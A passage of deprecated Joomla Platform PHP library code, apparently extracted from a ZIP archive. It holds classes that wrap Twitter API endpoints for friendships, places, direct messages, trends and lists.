<https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die(); use Joomla\Registry\Registry; /** * Twitter API object class for the Joomla Platform. * * @since 3.1.4 * @deprecated 4.0 Use the `joomla/twitter` package via Composer instead */ abstract class JTwitterObject { /** * @var Registry Options for the Twitter object. * @since 3.1.4 */ protected $options; /** * @var JHttp The HTTP client object to use in sending HTTP requests. * @since 3.1.4 */ protected $client; /** * @var JTwitterOAuth The OAuth client. * @since 3.1.4 */ protected $oauth; /** * Constructor. * * @param Registry &$options Twitter options object. * @param JHttp $client The HTTP client object. * @param JTwitterOAuth $oauth The OAuth client. * * @since 3.1.4 */ public function __construct(Registry &$options = null, JHttp $client = null, JTwitterOAuth $oauth = null) { $this->options = isset($options) ? $options : new Registry; $this->client = isset($client) ? $client : new JHttp($this->options); $this->oauth = $oauth; } /** * Method to check the rate limit for the requesting IP address * * @param string $resource A resource or a comma-separated list of resource families you want to know the current rate limit disposition for. * @param string $action An action for the specified resource, if only one resource is specified. * * @return void * * @since 3.1.4 * @throws RuntimeException */ public function checkRateLimit($resource = null, $action = null) { // Check the rate limit for remaining hits $rate_limit = $this->getRateLimit($resource); $property = '/' . $resource; if (!is_null($action)) { $property .= '/' . $action; } if ($rate_limit->resources->$resource->$property->remaining == 0) { // The IP has exceeded the Twitter API rate limit throw new RuntimeException('This server has exceed the Twitter API rate limit for the given period. The limit will reset at ' . $rate_limit->resources->$resource->$property->reset ); } } /** * Method to build and return a full request URL for the request. This method will * add appropriate pagination details if necessary and also prepend the API url * to have a complete URL for the request. * * @param string $path URL to inflect * @param array $parameters The parameters passed in the URL. * * @return string The request URL. * * @since 3.1.4 */ public function fetchUrl($path, $parameters = null) { if ($parameters) { foreach ($parameters as $key => $value) { if (strpos($path, '?') === false) { $path .= '?' . $key . '=' . $value; } else { $path .= '&' . $key . '=' . $value; } } } // Get a new JUri object focusing the api url and given path. if (strpos($path, 'http://search.twitter.com/search.json') === false) { $uri = new JUri($this->options->get('api.url') . $path); } else { $uri = new JUri($path); } return (string) $uri; } /** * Method to retrieve the rate limit for the requesting IP address * * @param string $resource A resource or a comma-separated list of resource families you want to know the current rate limit disposition for. * * @return array The JSON response decoded * * @since 3.1.4 */ public function getRateLimit($resource) { // Build the request path. $path = '/application/rate_limit_status.json'; if (!is_null($resource)) { return $this->sendRequest($path, 'GET', array('resources' => $resource)); } return $this->sendRequest($path); } /** * Method to send the request. * * @param string $path The path of the request to make * @param string $method The request method. * @param mixed $data Either an associative array or a string to be sent with the post request. * @param array $headers An array of name-value pairs to include in the header of the request * * @return array The decoded JSON response * * @since 3.1.4 * @throws RuntimeException */ public function sendRequest($path, $method = 'GET', $data = array(), $headers = array()) { // Get the access token. $token = $this->oauth->getToken(); // Set parameters. $parameters['oauth_token'] = $token['key']; // Send the request. $response = $this->oauth->oauthRequest($this->fetchUrl($path), $method, $parameters, $data, $headers); if (strpos($path, 'update_with_media') !== false) { // Check Media Rate Limit. $response_headers = $response->headers; if ($response_headers['x-mediaratelimit-remaining'] == 0) { // The IP has exceeded the Twitter API media rate limit throw new RuntimeException('This server has exceed the Twitter API media rate limit for the given period. The limit will reset in ' . $response_headers['x-mediaratelimit-reset'] . 'seconds.' ); } } if (strpos($response->body, 'redirected') !== false) { return $response->headers['Location']; } return json_decode($response->body); } /** * Get an option from the JTwitterObject instance. * * @param string $key The name of the option to get. * * @return mixed The option value. * * @since 3.1.4 */ public function getOption($key) { return $this->options->get($key); } /** * Set an option for the JTwitterObject instance. * * @param string $key The name of the option to set. * @param mixed $value The option value to set. * * @return JTwitterObject This object for method chaining. * * @since 3.1.4 */ public function setOption($key, $value) { $this->options->set($key, $value); return $this; } } PK�\C8�33joomla/twitter/friends.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Twitter * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die(); /** * Twitter API Friends class for the Joomla Platform. * * @since 3.1.4 * @deprecated 4.0 Use the `joomla/twitter` package via Composer instead */ class JTwitterFriends extends JTwitterObject { /** * Method to get an array of user IDs the specified user follows. * * @param mixed $user Either an integer containing the user ID or a string containing the screen name. * @param integer $cursor Causes the list of connections to be broken into pages of no more than 5000 IDs at a time. * The number of IDs returned is not guaranteed to be 5000 as suspended users are filtered out * after connections are queried. If no cursor is provided, a value of -1 will be assumed, which is the first "page." * @param boolean $stringIds Set to true to return IDs as strings, false to return as integers. * @param integer $count Specifies the number of IDs attempt retrieval of, up to a maximum of 5,000 per distinct request. * * @return array The decoded JSON response * * @since 3.1.4 * @throws RuntimeException */ public function getFriendIds($user, $cursor = null, $stringIds = null, $count = 0) { // Check the rate limit for remaining hits $this->checkRateLimit('friends', 'ids'); // Determine which type of data was passed for $user if (is_numeric($user)) { $data['user_id'] = $user; } elseif (is_string($user)) { $data['screen_name'] = $user; } else { // We don't have a valid entry throw new RuntimeException('The specified username is not in the correct format; must use integer or string'); } // Check if cursor is specified if (!is_null($cursor)) { $data['cursor'] = $cursor; } // Check if string_ids is true if ($stringIds) { $data['stringify_ids'] = $stringIds; } // Check if count is specified if ($count > 0) { $data['count'] = $count; } // Set the API path $path = '/friends/ids.json'; // Send the request. return $this->sendRequest($path, 'GET', $data); } /** * Method to display detailed friend information between two users. * * @param mixed $userA Either an integer containing the user ID or a string containing the screen name of the first user. * @param mixed $userB Either an integer containing the user ID or a string containing the screen name of the second user. * * @return array The decoded JSON response * * @since 3.1.4 * @throws RuntimeException */ public function getFriendshipDetails($userA, $userB) { // Check the rate limit for remaining hits $this->checkRateLimit('friendships', 'show'); // Determine which type of data was passed for $userA if (is_numeric($userA)) { $data['source_id'] = $userA; } elseif (is_string($userA)) { $data['source_screen_name'] = $userA; } else { // We don't have a valid entry throw new RuntimeException('The first specified username is not in the correct format; must use integer or string'); } // Determine which type of data was passed for $userB if (is_numeric($userB)) { $data['target_id'] = $userB; } elseif (is_string($userB)) { $data['target_screen_name'] = $userB; } else { // We don't have a valid entry throw new RuntimeException('The second specified username is not in the correct format; must use integer or string'); } // Set the API path $path = '/friendships/show.json'; // Send the request. return $this->sendRequest($path, 'GET', $data); } /** * Method to get an array of user IDs the specified user is followed by. * * @param mixed $user Either an integer containing the user ID or a string containing the screen name. * @param integer $cursor Causes the list of IDs to be broken into pages of no more than 5000 IDs at a time. The number of IDs returned * is not guaranteed to be 5000 as suspended users are filtered out after connections are queried. If no cursor * is provided, a value of -1 will be assumed, which is the first "page." * @param boolean $stringIds Set to true to return IDs as strings, false to return as integers. * @param integer $count Specifies the number of IDs attempt retrieval of, up to a maximum of 5,000 per distinct request. * * @return array The decoded JSON response * * @since 3.1.4 * @throws RuntimeException */ public function getFollowerIds($user, $cursor = null, $stringIds = null, $count = 0) { // Check the rate limit for remaining hits $this->checkRateLimit('followers', 'ids'); // Determine which type of data was passed for $user if (is_numeric($user)) { $data['user_id'] = $user; } elseif (is_string($user)) { $data['screen_name'] = $user; } else { // We don't have a valid entry throw new RuntimeException('The specified username is not in the correct format; must use integer or string'); } // Set the API path $path = '/followers/ids.json'; // Check if cursor is specified if (!is_null($cursor)) { $data['cursor'] = $cursor; } // Check if string_ids is specified if (!is_null($stringIds)) { $data['stringify_ids'] = $stringIds; } // Check if count is specified if (!is_null($count)) { $data['count'] = $count; } // Send the request. return $this->sendRequest($path, 'GET', $data); } /** * Method to determine pending requests to follow the authenticating user. * * @param integer $cursor Causes the list of IDs to be broken into pages of no more than 5000 IDs at a time. The number of IDs returned * is not guaranteed to be 5000 as suspended users are filtered out after connections are queried. If no cursor * is provided, a value of -1 will be assumed, which is the first "page." * @param boolean $stringIds Set to true to return IDs as strings, false to return as integers. * * @return array The decoded JSON response * * @since 3.1.4 */ public function getFriendshipsIncoming($cursor = null, $stringIds = null) { // Check the rate limit for remaining hits $this->checkRateLimit('friendships', 'incoming'); $data = array(); // Check if cursor is specified if (!is_null($cursor)) { $data['cursor'] = $cursor; } // Check if string_ids is specified if (!is_null($stringIds)) { $data['stringify_ids'] = $stringIds; } // Set the API path $path = '/friendships/incoming.json'; // Send the request. return $this->sendRequest($path, 'GET', $data); } /** * Method to determine every protected user for whom the authenticating user has a pending follow request. * * @param integer $cursor Causes the list of IDs to be broken into pages of no more than 5000 IDs at a time. The number of IDs returned * is not guaranteed to be 5000 as suspended users are filtered out after connections are queried. If no cursor * is provided, a value of -1 will be assumed, which is the first "page." * @param boolean $stringIds Set to true to return IDs as strings, false to return as integers. * * @return array The decoded JSON response * * @since 3.1.4 */ public function getFriendshipsOutgoing($cursor = null, $stringIds = null) { // Check the rate limit for remaining hits $this->checkRateLimit('friendships', 'outgoing'); $data = array(); // Check if cursor is specified if (!is_null($cursor)) { $data['cursor'] = $cursor; } // Check if string_ids is specified if (!is_null($stringIds)) { $data['stringify_ids'] = $stringIds; } // Set the API path $path = '/friendships/outgoing.json'; // Send the request. return $this->sendRequest($path, 'GET', $data); } /** * Allows the authenticating users to follow the user specified in the ID parameter. * * @param mixed $user Either an integer containing the user ID or a string containing the screen name. * @param boolean $follow Enable notifications for the target user. * * @return array The decoded JSON response * * @since 3.1.4 * @throws RuntimeException */ public function follow($user, $follow = false) { // Determine which type of data was passed for $user if (is_numeric($user)) { $data['user_id'] = $user; } elseif (is_string($user)) { $data['screen_name'] = $user; } else { // We don't have a valid entry throw new RuntimeException('The specified username is not in the correct format; must use integer or string'); } // Check if follow is true if ($follow) { $data['follow'] = $follow; } // Set the API path $path = '/friendships/create.json'; // Send the request. return $this->sendRequest($path, 'POST', $data); } /** * Allows the authenticating users to unfollow the user specified in the ID parameter. * * @param mixed $user Either an integer containing the user ID or a string containing the screen name. * * @return array The decoded JSON response * * @since 3.1.4 * @throws RuntimeException */ public function unfollow($user) { // Determine which type of data was passed for $user if (is_numeric($user)) { $data['user_id'] = $user; } elseif (is_string($user)) { $data['screen_name'] = $user; } else { // We don't have a valid entry throw new RuntimeException('The specified username is not in the correct format; must use integer or string'); } // Set the API path $path = '/friendships/destroy.json'; // Send the request. return $this->sendRequest($path, 'POST', $data); } /** * Method to get the relationship of the authenticating user to the comma separated list of up to 100 screen_names or user_ids provided. * * @param string $screenName A comma separated list of screen names, up to 100 are allowed in a single request. * @param string $id A comma separated list of user IDs, up to 100 are allowed in a single request. * * @return array The decoded JSON response * * @since 3.1.4 * @throws RuntimeException */ public function getFriendshipsLookup($screenName = null, $id = null) { // Check the rate limit for remaining hits $this->checkRateLimit('friendships', 'lookup'); // Set user IDs and screen names. if ($id) { $data['user_id'] = $id; } if ($screenName) { $data['screen_name'] = $screenName; } if ($id == null && $screenName == null) { // We don't have a valid entry throw new RuntimeException('You must specify either a comma separated list of screen names, user IDs, or a combination of the two'); } // Set the API path $path = '/friendships/lookup.json'; // Send the request. return $this->sendRequest($path, 'GET', $data); } /** * Allows one to enable or disable retweets and device notifications from the specified user. * * @param mixed $user Either an integer containing the user ID or a string containing the screen name. * @param boolean $device Enable/disable device notifications from the target user. * @param boolean $retweets Enable/disable retweets from the target user. * * @return array The decoded JSON response * * @since 3.1.4 * @throws RuntimeException */ public function updateFriendship($user, $device = null, $retweets = null) { // Determine which type of data was passed for $user if (is_numeric($user)) { $data['user_id'] = $user; } elseif (is_string($user)) { $data['screen_name'] = $user; } else { // We don't have a valid entry throw new RuntimeException('The specified username is not in the correct format; must use integer or string'); } // Check if device is specified. if (!is_null($device)) { $data['device'] = $device; } // Check if retweets is specified. if (!is_null($retweets)) { $data['retweets'] = $retweets; } // Set the API path $path = '/friendships/update.json'; // Send the request. return $this->sendRequest($path, 'POST', $data); } /** * Method to get the user ids that currently authenticated user does not want to see retweets from. * * @param boolean $stringIds Set to true to return IDs as strings, false to return as integers. * * @return array The decoded JSON response * * @since 3.1.4 */ public function getFriendshipNoRetweetIds($stringIds = null) { // Check the rate limit for remaining hits $this->checkRateLimit('friendships', 'no_retweets/ids'); $data = array(); // Check if string_ids is specified if (!is_null($stringIds)) { $data['stringify_ids'] = $stringIds; } // Set the API path $path = '/friendships/no_retweets/ids.json'; // Send the request. return $this->sendRequest($path, 'GET', $data); } } PK�\zI�PPjoomla/twitter/help.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Twitter * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die(); /** * Twitter API Help class for the Joomla Platform. * * @since 3.1.4 * @deprecated 4.0 Use the `joomla/twitter` package via Composer instead */ class JTwitterHelp extends JTwitterObject { /** * Method to get the supported languages from the API. * * @return array The decoded JSON response * * @since 3.1.4 */ public function getLanguages() { // Check the rate limit for remaining hits $this->checkRateLimit('help', 'languages'); // Set the API path $path = '/help/languages.json'; // Send the request. return $this->sendRequest($path); } /** * Method to get the current configuration used by Twitter including twitter.com slugs which are not usernames, * maximum photo resolutions, and t.co URL lengths. * * @return array The decoded JSON response * * @since 3.1.4 */ public function getConfiguration() { // Check the rate limit for remaining hits $this->checkRateLimit('help', 'configuration'); // Set the API path $path = '/help/configuration.json'; // Send the request. return $this->sendRequest($path); } } PK�\Mw��!�!joomla/twitter/places.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Twitter * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die(); /** * Twitter API Places & Geo class for the Joomla Platform. * * @since 3.1.4 * @deprecated 4.0 Use the `joomla/twitter` package via Composer instead */ class JTwitterPlaces extends JTwitterObject { /** * Method to get all the information about a known place. * * @param string $id A place in the world. These IDs can be retrieved using getGeocode. * * @return array The decoded JSON response * * @since 3.1.4 */ public function getPlace($id) { // Check the rate limit for remaining hits $this->checkRateLimit('geo', 'id/:place_id'); // Set the API path $path = '/geo/id/' . $id . '.json'; // Send the request. return $this->sendRequest($path); } /** * Method to get up to 20 places that can be used as a place_id when updating a status. * * @param float $lat The latitude to search around. * @param float $long The longitude to search around. * @param string $accuracy A hint on the "region" in which to search. If a number, then this is a radius in meters, * but it can also take a string that is suffixed with ft to specify feet. * @param string $granularity This is the minimal granularity of place types to return and must be one of: poi, neighborhood, * city, admin or country. * @param integer $maxResults A hint as to the number of results to return. * @param string $callback If supplied, the response will use the JSONP format with a callback of the given name. * * @return array The decoded JSON response * * @since 3.1.4 */ public function getGeocode($lat, $long, $accuracy = null, $granularity = null, $maxResults = 0, $callback = null) { // Check the rate limit for remaining hits $this->checkRateLimit('geo', 'reverse_geocode'); // Set the API path $path = '/geo/reverse_geocode.json'; // Set the request parameters $data['lat'] = $lat; $data['long'] = $long; // Check if accuracy is specified if ($accuracy) { $data['accuracy'] = $accuracy; } // Check if granularity is specified if ($granularity) { $data['granularity'] = $granularity; } // Check if max_results is specified if ($maxResults) { $data['max_results'] = $maxResults; } // Check if callback is specified if ($callback) { $data['callback'] = $callback; } // Send the request. return $this->sendRequest($path, 'GET', $data); } /** * Method to search for places that can be attached to a statuses/update. * * @param float $lat The latitude to search around. * @param float $long The longitude to search around. * @param string $query Free-form text to match against while executing a geo-based query, best suited for finding nearby * locations by name. * @param string $ip An IP address. * @param string $granularity This is the minimal granularity of place types to return and must be one of: poi, neighborhood, city, * admin or country. * @param string $accuracy A hint on the "region" in which to search. If a number, then this is a radius in meters, but it can * also take a string that is suffixed with ft to specify feet. * @param integer $maxResults A hint as to the number of results to return. * @param string $within This is the place_id which you would like to restrict the search results to. * @param string $attribute This parameter searches for places which have this given street address. * @param string $callback If supplied, the response will use the JSONP format with a callback of the given name. * * @return array The decoded JSON response * * @since 3.1.4 * @throws RuntimeException */ public function search($lat = null, $long = null, $query = null, $ip = null, $granularity = null, $accuracy = null, $maxResults = 0, $within = null, $attribute = null, $callback = null) { // Check the rate limit for remaining hits $this->checkRateLimit('geo', 'search'); // Set the API path $path = '/geo/search.json'; // At least one of the following parameters must be provided: lat, long, ip, or query. if ($lat == null && $long == null && $ip == null && $query == null) { throw new RuntimeException('At least one of the following parameters must be provided: lat, long, ip, or query.'); } // Check if lat is specified. if ($lat) { $data['lat'] = $lat; } // Check if long is specified. if ($long) { $data['long'] = $long; } // Check if query is specified. if ($query) { $data['query'] = rawurlencode($query); } // Check if ip is specified. if ($ip) { $data['ip'] = $ip; } // Check if granularity is specified if ($granularity) { $data['granularity'] = $granularity; } // Check if accuracy is specified if ($accuracy) { $data['accuracy'] = $accuracy; } // Check if max_results is specified if ($maxResults) { $data['max_results'] = $maxResults; } // Check if within is specified if ($within) { $data['contained_within'] = $within; } // Check if attribute is specified if ($attribute) { $data['attribute:street_address'] = rawurlencode($attribute); } // Check if callback is specified if ($callback) { $data['callback'] = $callback; } // Send the request. return $this->sendRequest($path, 'GET', $data); } /** * Method to locate places near the given coordinates which are similar in name. * * @param float $lat The latitude to search around. * @param float $long The longitude to search around. * @param string $name The name a place is known as. * @param string $within This is the place_id which you would like to restrict the search results to. * @param string $attribute This parameter searches for places which have this given street address. * @param string $callback If supplied, the response will use the JSONP format with a callback of the given name. * * @return array The decoded JSON response * * @since 3.1.4 */ public function getSimilarPlaces($lat, $long, $name, $within = null, $attribute = null, $callback = null) { // Check the rate limit for remaining hits $this->checkRateLimit('geo', 'similar_places'); // Set the API path $path = '/geo/similar_places.json'; $data['lat'] = $lat; $data['long'] = $long; $data['name'] = rawurlencode($name); // Check if within is specified if ($within) { $data['contained_within'] = $within; } // Check if attribute is specified if ($attribute) { $data['attribute:street_address'] = rawurlencode($attribute); } // Check if callback is specified if ($callback) { $data['callback'] = $callback; } // Send the request. return $this->sendRequest($path, 'GET', $data); } /** * Method to create a new place object at the given latitude and longitude. * * @param float $lat The latitude to search around. * @param float $long The longitude to search around. * @param string $name The name a place is known as. * @param string $geoToken The token found in the response from geo/similar_places. * @param string $within This is the place_id which you would like to restrict the search results to. * @param string $attribute This parameter searches for places which have this given street address. * @param string $callback If supplied, the response will use the JSONP format with a callback of the given name. * * @return array The decoded JSON response * * @since 3.1.4 */ public function createPlace($lat, $long, $name, $geoToken, $within, $attribute = null, $callback = null) { // Check the rate limit for remaining hits $this->checkRateLimit('geo', 'place'); $data['lat'] = $lat; $data['long'] = $long; $data['name'] = rawurlencode($name); $data['token'] = $geoToken; $data['contained_within'] = $within; // Check if attribute is specified if ($attribute) { $data['attribute:street_address'] = rawurlencode($attribute); } // Check if callback is specified if ($callback) { $data['callback'] = $callback; } // Set the API path $path = '/geo/place.json'; // Send the request. return $this->sendRequest($path, 'POST', $data); } } PK�\�2T��!joomla/twitter/directmessages.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Twitter * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die(); /** * Twitter API Direct Messages class for the Joomla Platform. * * @since 3.1.4 * @deprecated 4.0 Use the `joomla/twitter` package via Composer instead */ class JTwitterDirectmessages extends JTwitterObject { /** * Method to get the most recent direct messages sent to the authenticating user. * * @param integer $sinceId Returns results with an ID greater than (that is, more recent than) the specified ID. * @param integer $maxId Returns results with an ID less than (that is, older than) or equal to the specified ID. * @param integer $count Specifies the number of direct messages to try and retrieve, up to a maximum of 200. * @param boolean $entities When set to true, each tweet will include a node called "entities,". This node offers a variety of metadata * about the tweet in a discreet structure, including: user_mentions, urls, and hashtags. * @param boolean $skipStatus When set to either true, t or 1 statuses will not be included in the returned user objects. * * @return array The decoded JSON response * * @since 3.1.4 */ public function getDirectMessages($sinceId = 0, $maxId = 0, $count = 20, $entities = null, $skipStatus = null) { // Check the rate limit for remaining hits $this->checkRateLimit('direct_messages'); // Set the API path $path = '/direct_messages.json'; // Check if since_id is specified. if ($sinceId) { $data['since_id'] = $sinceId; } // Check if max_id is specified. if ($maxId) { $data['max_id'] = $maxId; } // Check if count is specified. if ($count) { $data['count'] = $count; } // Check if entities is specified. if (!is_null($entities)) { $data['include_entities'] = $entities; } // Check if skip_status is specified. if (!is_null($skipStatus)) { $data['skip_status'] = $skipStatus; } // Send the request. return $this->sendRequest($path, 'GET', $data); } /** * Method to get the most recent direct messages sent by the authenticating user. * * @param integer $sinceId Returns results with an ID greater than (that is, more recent than) the specified ID. * @param integer $maxId Returns results with an ID less than (that is, older than) or equal to the specified ID. * @param integer $count Specifies the number of direct messages to try and retrieve, up to a maximum of 200. * @param integer $page Specifies the page of results to retrieve. * @param boolean $entities When set to true, each tweet will include a node called "entities,". This node offers a variety of metadata * about the tweet in a discreet structure, including: user_mentions, urls, and hashtags. * * @return array The decoded JSON response * * @since 3.1.4 */ public function getSentDirectMessages($sinceId = 0, $maxId = 0, $count = 20, $page = 0, $entities = null) { // Check the rate limit for remaining hits $this->checkRateLimit('direct_messages', 'sent'); // Set the API path $path = '/direct_messages/sent.json'; // Check if since_id is specified. if ($sinceId) { $data['since_id'] = $sinceId; } // Check if max_id is specified. if ($maxId) { $data['max_id'] = $maxId; } // Check if count is specified. if ($count) { $data['count'] = $count; } // Check if page is specified. if ($page) { $data['page'] = $page; } // Check if entities is specified. if (!is_null($entities)) { $data['include_entities'] = $entities; } // Send the request. return $this->sendRequest($path, 'GET', $data); } /** * Method to send a new direct message to the specified user from the authenticating user. * * @param mixed $user Either an integer containing the user ID or a string containing the screen name. * @param string $text The text of your direct message. Be sure to keep the message under 140 characters. * * @return array The decoded JSON response * * @since 3.1.4 * @throws RuntimeException */ public function sendDirectMessages($user, $text) { // Set the API path $path = '/direct_messages/new.json'; // Determine which type of data was passed for $user if (is_numeric($user)) { $data['user_id'] = $user; } elseif (is_string($user)) { $data['screen_name'] = $user; } else { // We don't have a valid entry throw new RuntimeException('The specified username is not in the correct format; must use integer or string'); } $data['text'] = $text; // Send the request. return $this->sendRequest($path, 'POST', $data); } /** * Method to get a single direct message, specified by an id parameter. * * @param integer $id The ID of the direct message. * * @return array The decoded JSON response * * @since 3.1.4 */ public function getDirectMessagesById($id) { // Check the rate limit for remaining hits $this->checkRateLimit('direct_messages', 'show'); // Set the API path $path = '/direct_messages/show.json'; $data['id'] = $id; // Send the request. return $this->sendRequest($path, 'GET', $data); } /** * Method to delete the direct message specified in the required ID parameter. * * @param integer $id The ID of the direct message. * @param boolean $entities When set to true, each tweet will include a node called "entities,". This node offers a variety of metadata * about the tweet in a discreet structure, including: user_mentions, urls, and hashtags. * * @return array The decoded JSON response * * @since 3.1.4 */ public function deleteDirectMessages($id, $entities = null) { // Set the API path $path = '/direct_messages/destroy.json'; $data['id'] = $id; // Check if entities is specified. if (!is_null($entities)) { $data['include_entities'] = $entities; } // Send the request. return $this->sendRequest($path, 'POST', $data); } } PK�\[�>� � joomla/twitter/trends.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Twitter * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die(); /** * Twitter API Trends class for the Joomla Platform. * * @since 3.1.4 * @deprecated 4.0 Use the `joomla/twitter` package via Composer instead */ class JTwitterTrends extends JTwitterObject { /** * Method to get the top 10 trending topics for a specific WOEID, if trending information is available for it. * * @param integer $id The Yahoo! Where On Earth ID of the location to return trending information for. * Global information is available by using 1 as the WOEID. * @param string $exclude Setting this equal to hashtags will remove all hashtags from the trends list. * * @return array The decoded JSON response * * @since 3.1.4 */ public function getTrends($id, $exclude = null) { // Check the rate limit for remaining hits $this->checkRateLimit('trends', 'place'); // Set the API path $path = '/trends/place.json'; $data['id'] = $id; // Check if exclude is specified if ($exclude) { $data['exclude'] = $exclude; } // Send the request. return $this->sendRequest($path, 'GET', $data); } /** * Method to get the locations that Twitter has trending topic information for. * * @return array The decoded JSON response * * @since 3.1.4 */ public function getLocations() { // Check the rate limit for remaining hits $this->checkRateLimit('trends', 'available'); // Set the API path $path = '/trends/available.json'; // Send the request. return $this->sendRequest($path); } /** * Method to get the locations that Twitter has trending topic information for, closest to a specified location. * * @param float $lat The latitude to search around. * @param float $long The longitude to search around. * * @return array The decoded JSON response * * @since 3.1.4 */ public function getClosest($lat = null, $long = null) { // Check the rate limit for remaining hits $this->checkRateLimit('trends', 'closest'); // Set the API path $path = '/trends/closest.json'; $data = array(); // Check if lat is specified if ($lat) { $data['lat'] = $lat; } // Check if long is specified if ($long) { $data['long'] = $long; } // Send the request. return $this->sendRequest($path, 'GET', $data); } } PK�\�2��mmjoomla/twitter/lists.phpnu�[���<?php /** * @package Joomla.Platform * @subpackage Twitter * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die(); /** * Twitter API Lists class for the Joomla Platform. * * @since 3.1.4 * @deprecated 4.0 Use the `joomla/twitter` package via Composer instead */ class JTwitterLists extends JTwitterObject { /** * Method to get all lists the authenticating or specified user subscribes to, including their own. * * @param mixed $user Either an integer containing the user ID or a string containing the screen name. * @param boolean $reverse Set this to true if you would like owned lists to be returned first. See description * above for information on how this parameter works. * * @return array The decoded JSON response * * @since 3.1.4 * @throws RuntimeException */ public function getLists($user, $reverse = null) { // Check the rate limit for remaining hits $this->checkRateLimit('lists', 'list'); // Determine which type of data was passed for $user if (is_numeric($user)) { $data['user_id'] = $user; } elseif (is_string($user)) { $data['screen_name'] = $user; } else { // We don't have a valid entry throw new RuntimeException('The specified username is not in the correct format; must use integer or string'); } // Check if reverse is specified. if (!is_null($reverse)) { $data['reverse'] = $reverse; } // Set the API path $path = '/lists/list.json'; // Send the request. return $this->sendRequest($path, 'GET', $data); } /** * Method to get tweet timeline for members of the specified list * * @param mixed $list Either an integer containing the list ID or a string containing the list slug. * @param mixed $owner Either an integer containing the user ID or a string containing the screen name. * @param integer $sinceId Returns results with an ID greater than (that is, more recent than) the specified ID. * @param integer $maxId Returns results with an ID less than (that is, older than) or equal to the specified ID. * @param integer $count Specifies the number of results to retrieve per "page." * @param boolean $entities When set to either true, t or 1, each tweet will include a node called "entities". This node offers a variety * of metadata about the tweet in a discreet structure, including: user_mentions, urls, and hashtags. * @param boolean $includeRts When set to either true, t or 1, the list timeline will contain native retweets (if they exist) in addition * to the standard stream of tweets. * * @return array The decoded JSON response * * @since 3.1.4 * @throws RuntimeException */ public function getStatuses($list, $owner = null, $sinceId = 0, $maxId = 0, $count = 0, $entities = null, $includeRts = null) { // Check the rate limit for remaining hits $this->checkRateLimit('lists', 'statuses'); // Determine which type of data was passed for $list if (is_numeric($list)) { $data['list_id'] = $list; } elseif (is_string($list)) { $data['slug'] = $list; // In this case the owner is required. if (is_numeric($owner)) { $data['owner_id'] = $owner; } elseif (is_string($owner)) { $data['owner_screen_name'] = $owner; } else { // We don't have a valid entry throw new RuntimeException('The specified username is not in the correct format; must use integer or string'); } } else { // We don't have a valid entry throw new RuntimeException('The specified list is not in the correct format; must use integer or string'); } // Set the API path $path = '/lists/statuses.json'; // Check if since_id is specified if ($sinceId > 0) { $data['since_id'] = $sinceId; } // Check if max_id is specified if ($maxId > 0) { $data['max_id'] = $maxId; } // Check if count is specified if ($count > 0) { $data['count'] = $count; } // Check if entities is specified if (!is_null($entities)) { $data['include_entities'] = $entities; } // Check if include_rts is specified if (!is_null($includeRts)) { $data['include_rts'] = $includeRts; } // Send the request. return $this->sendRequest($path, 'GET', $data); } /** * Method to get the subscribers of the specified list. * * @param mixed $list Either an integer containing the list ID or a string containing the list slug. * @param mixed $owner Either an integer containing the user ID or a string containing the screen name. * @param integer $cursor Breaks the results into pages. A single page contains 20 lists. Provide a value of -1 to begin paging. * @param boolean $entities When set to either true, t or 1, each tweet will include a node called "entities". This node offers a variety * of metadata about the tweet in a discreet structure, including: user_mentions, urls, and hashtags. * @param boolean $skipStatus When set to either true, t or 1 statuses will not be included in the returned user objects. * * @return array The decoded JSON response * * @since 3.1.4 * @throws RuntimeException */ public function getSubscribers($list, $owner = null, $cursor = null, $entities = null, $skipStatus = null) { // Check the rate limit for remaining hits $this->checkRateLimit('lists', 'subscribers'); // Determine which type of data was passed for $list if (is_numeric($list)) { $data['list_id'] = $list; } elseif (is_string($list)) { $data['slug'] = $list; // In this case the owner is required. if (is_numeric($owner)) { $data['owner_id'] = $owner; } elseif (is_string($owner)) { $data['owner_screen_name'] = $owner; } else { // We don't have a valid entry throw new RuntimeException('The specified username is not in the correct format; must use integer or string'); } } else { // We don't have a valid entry throw new RuntimeException('The specified list is not in the correct format; must use integer or string'); } // Set the API path $path = '/lists/subscribers.json'; // Check if cursor is specified if (!is_null($cursor)) { $data['cursor'] = $cursor; } // Check if entities is specified if (!is_null($entities)) { $data['include_entities'] = $entities; } // Check if skip_status is specified if (!is_null($skipStatus)) { $data['skip_status'] = $skipStatus; } // Send the request. return $this->sendRequest($path, 'GET', $data); } /** * Method to remove multiple members from a list, by specifying a comma-separated list of member ids or screen names. * * @param mixed $list Either an integer containing the list ID or a string containing the list slug. * @param string $userId A comma separated list of user IDs, up to 100 are allowed in a single request. * @param string $screenName A comma separated list of screen names, up to 100 are allowed in a single request. * @param mixed $owner Either an integer containing the user ID or a string containing the screen name of the owner. * * @return array The decoded JSON response * * @since 3.1.4 * @throws RuntimeException */ public function deleteMembers($list, $userId = null, $screenName = null, $owner = null) { // Determine which type of data was passed for $list if (is_numeric($list)) { $data['list_id'] = $list; } elseif (is_string($list)) { $data['slug'] = $list; // In this case the owner is required. if (is_numeric($owner)) { $data['owner_id'] = $owner; } elseif (is_string($owner)) { $data['owner_screen_name'] = $owner; } else { // We don't have a valid entry throw new RuntimeException('The specified username for owner is not in the correct format; must use integer or string'); } } else { // We don't have a valid entry throw new RuntimeException('The specified list is not in the correct format; must use integer or string'); } if ($userId) { $data['user_id'] = $userId; } if ($screenName) 